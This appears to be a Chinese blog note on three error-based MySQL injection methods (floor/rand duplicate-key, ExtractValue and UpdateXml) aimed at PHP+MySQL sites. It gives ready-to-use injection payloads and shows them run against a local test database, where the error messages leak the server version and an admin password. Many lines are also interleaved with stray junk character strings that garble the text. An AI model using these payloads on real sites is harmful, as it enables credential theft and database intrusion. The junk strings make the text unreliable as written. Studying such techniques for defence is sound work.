关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
4 s: C# V4 T0 k+ g& p; f实际测试环境：
3 u0 U6 P' K& q​

mysql> show tables;
& v, z7 d) z9 x$ ]1 R2 M5 ^+----------------+
| Tables_in_test |
( [8 p) m1 f/ U: F+----------------+
2 z" w. z$ T6 j+ D- j# a# f| admin          |
| article        |
& c" c+ e/ a2 Q0 v+----------------+



mysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
| Field | Type             | Null | Key | Default | Extra          |
+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
" }4 q2 ?% x/ L' G| user  | varchar(50)      | NO   |     | NULL    |                |
| pass  | varchar(50)      | NO   |     | NULL    |                |
+-------+------------------+------+-----+---------+----------------+

. B$ r$ @' O1 [) p; S0 `

mysql> describe article;
+---------+------------------+------+-----+---------+----------------+
| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| title   | varchar(50)      | NO   |     | NULL    |                |
0 ~- ]6 J) G0 r! w) C8 B1 n| content | varchar(50)      | NO   |     | NULL    |                |
+---------+------------------+------+-----+---------+----------------+
" r, B) k0 H, y. k" w# J8 W1 y1、通过floor报错
可以通过如下一些利用代码


& n$ b: b3 T( e6 T& oand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);
: [) A& N; G! C. Z
  Y, T% y5 C" c7 X( ^
0 [6 g$ w( ~! G6 _  Hand (select count(*) from (select 1 union select null union select !1)x
! }  S6 u) E/ }group by concat((select table_name from information_schema.tables limit 1),
9 ^9 w. L- c# ]! |- x% nfloor(rand(0)*2)));
9 W& ]$ ^- W/ D2 {6 _, a举例如下：
, ^: l7 T4 n% w) u# N! b6 \% X首先进行正常查询：

mysql> select * from article where id = 1;
+----+-------+---------+
0 u4 e7 h4 V2 m| id | title | content |
) ^- X, T* ?& P! P. t9 Y/ w* @+----+-------+---------+
|  1 | test  | do it   |
* R! w9 E' I( E, v% S! j& R+----+-------+---------+
$ d4 |$ F: q* E' ~* }! t假如id输入存在注入的话，可以通过如下语句进行报错。
4 P$ ]* u# c6 y9 ~
! W$ O- t) d' F$ w' x% K
2 A7 ^4 ^& D" `& `0 a9 Omysql> select * from article where id = 1 and (select 1 from
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
2 q" k# P/ S0 {8 ?% }2 e9 k例如我们需要查询管理员用户名和密码：
- f: z- s; `9 U2 y" mMethod1:
3 A3 I. J2 Y" ~  o. i3 U

& _& f* s% `: @mysql> select * from article where id = 1 and (select 1 from
/ w# s; P/ e/ A. w4 V( T* F4 g(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
from information_schema.tables group by x)a);
4 U2 E! t9 q- m" `! MERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
$ A. V& B2 d! \1 c" m; y- m6 o# iMethod2:


mysql> select * from article where id = 1 and (select count(*)
7 |9 P* a4 L3 _$ g7 ifrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
/ S# U0 c' p5 Q0 f0 zfloor(rand(0)*2)));
8 P; x: L" d! I, A6 H( d0 dERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
2、ExtractValue
测试语句如下

7 v+ D' I5 l! }1 ^
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
6 E$ C- ]8 d$ Y7 U9 d4 T  Q8 S实际测试过程

9 c& ~: O, U0 Y$ z: D. a. t: S# d
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
3、UpdateXml
0 f: l6 t2 ]5 H; n7 d测试语句


! F# }) P' V$ ^# Iand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程


3 z$ @# Y( M7 Ymysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
All, thanks foreign guys.

2 r! {. L+ U# e$ Z* ^/ D- |​
6 `) k1 `. d' V, a0 K6 ?/ b# N